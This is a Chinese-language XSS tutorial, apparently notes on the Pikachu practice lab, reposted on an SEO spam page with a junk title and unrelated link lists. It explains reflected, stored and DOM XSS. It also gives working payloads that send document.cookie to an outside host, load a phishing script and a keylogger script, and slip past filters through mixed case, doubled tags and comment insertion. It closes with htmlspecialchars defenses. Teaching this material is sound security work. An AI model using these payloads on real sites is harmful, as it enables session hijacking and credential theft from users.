当前位置: 首页 > news >正文

高清摄影作品网站如何注册网站怎么注册

高清摄影作品网站,如何注册网站怎么注册,日本网站建设公司,郑州市做网站的公XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,在网页中嵌入客户端恶意脚本代码,最常用javascript语言。(注意:叠成样式表CSS已经被占用所以叫XSS&#xff09…

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,在网页中嵌入客户端恶意脚本代码,最常用javascript语言。(注意:叠成样式表CSS已经被占用所以叫XSS)

原因:输入没过滤,输出没编码。

危害:劫持用户cookie,钓鱼,挂马

分类:

1、反射性XSS(中危,一次性不保存在数据库,交互的地方,比如带参和输入更新),

2、储存型XSS(高危,长久保存在数据库)

3、DOM XSS(低危,无数据库交互,浏览器的dom节点),可能存在html文本框,URL文本框,样式等

操作:

在万能闭合‘“>后面插入语句<script>prompt(1)</script>

或者用弹窗语句‘“><script>alert(1)</script>,弹出一个对话框1,如果能弹窗说明这里是有漏洞的。

示例,name变量没有进行过滤

cookie收集展示

 设置下点击页面的时候返回地址,这样减少用户的疑问,也可以把返回的网址换成登录的网页

111'"><script>document.location = 'http://网站IP和端口/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

配置好返回的界面后,输入以下代码,提交然后刚才提交的那个电脑的cookie就保存在到pkxss里面了。且用户点击的界面在提交代码之后返回到之前配置的那个index.php上。

盲打获取账户密码

在不确定是否有注入点的地方输入后,登录后台可以把登录的账户和密码拿到,在md5解密就可以获得账户密码

111'"><script>document.location = 'http://192.168.246.11/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

post方式

钓鱼

'"><script src="http://192.168.246.11/pikachu/pkxss/xfish/fish.php"></script>

注意:再次点击的时候没有弹出,是因为已经保存这个电脑信息,需要浏览器清除下cookie

收集键盘信息

同源策略:浏览器都约定了“同源策略,禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

http:// www.   oldboyedu.com  :80 /   news/index.php
协议    子域名    主域名               端口    资源地址

必须要全部一样才算同源

后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。

111'"><script src="http://192.168.246.11/pikachu/pkxss/rkeypress/rk.js"></script>,键盘记录rk.js执行,然后在页面任何位置输入就可以键盘输入记录

XSS绕过

前段绕过,大小写,双写,注释,编码

1、对前端的限制可以尝试进行抓包重发或者修改前端的HTML。比如修改输入框字符。
2、防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。比如:<sCRipT>alert('你吃饭像tuzi')</sCrIPt>,利用的是精准过滤,换成大小写就绕过了。也可以用其他标签比如框架iframe,类型style,标签svg


3、防止后台对输入的内容进行替换,采用拼拼凑的输入方法。比如:<sc<script>ript>alert(你吃饭像tuzi')</scr<script>ipt>
4、使用注释来干扰后台对输入内容的识别。比如:<sc<!--test-->ript>alert('你吃饭像tuzi')</scr<!--tshauie-->ipt>
5:、编码,保证输出的情况下后台代码过滤

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体

可用的quotestyle类型:

ENT_COMPAT - 默认。仅编码双引号

ENT_QUOTES - 编码双引号和单引号

ENT_NOQUOTES - 不编码任何引

预定义的字符是:
 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt

该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)

href输出:javascript:alert(1111) 

http://www.dt0577.cn/news/29524.html

相关文章:

  • 软件开发工资怎么样池州网站seo
  • 珠海网站建设及优化网络营销有哪些例子
  • wordpress the网站建设优化
  • 企业建立网站需要网站建设网络推广平台
  • 和小男生做的网站经典软文案例
  • 营销建设网站制作推广app的营销方案
  • 龙岩整站优化营销型网站建设目标
  • 17网站一起做网店普宁轻纺城温馨免费网站推广网站在线
  • 太原运营推广公司济南seo
  • 火车头wordpress教程企业网站排名优化价格
  • 国外财经网站是怎么做的品牌策划是做什么的
  • 商贸有限公司网站建设线上销售水果营销方案
  • 做网站的公司排行企业宣传网站
  • 建好了网站怎么做外贸网站排名优化培训
  • 青岛网站建设与管理seo核心技术排名
  • 网站设置关键字广告设计与制作
  • 做平面常用的网站seo高端培训
  • 企业网站怎么做跟淘宝链接广州疫情最新消息今天封城了
  • 做网站资讯男生和女生在一起探讨人生软件
  • 熊掌号wordpress搜索引擎优化自然排名
  • 哪种技术做网站容易论文答辩sem网络营销
  • 上市公司网站建设石家庄百度推广排名优化
  • 怎么做 niche网站重庆seo排名电话
  • 那些网站反爬做的好湖南株洲疫情最新情况
  • 自己做b2b平台网站建设公众号怎么做文章推广
  • 做兼职上哪个网站搜狗推广登录平台
  • 网站建设开发计划书seo快速排名是什么
  • 怎么用wix做网站营销推广方案范文
  • wordpress 目录样式搜索引擎内部优化
  • 超市代理商网站模板电商平台引流推广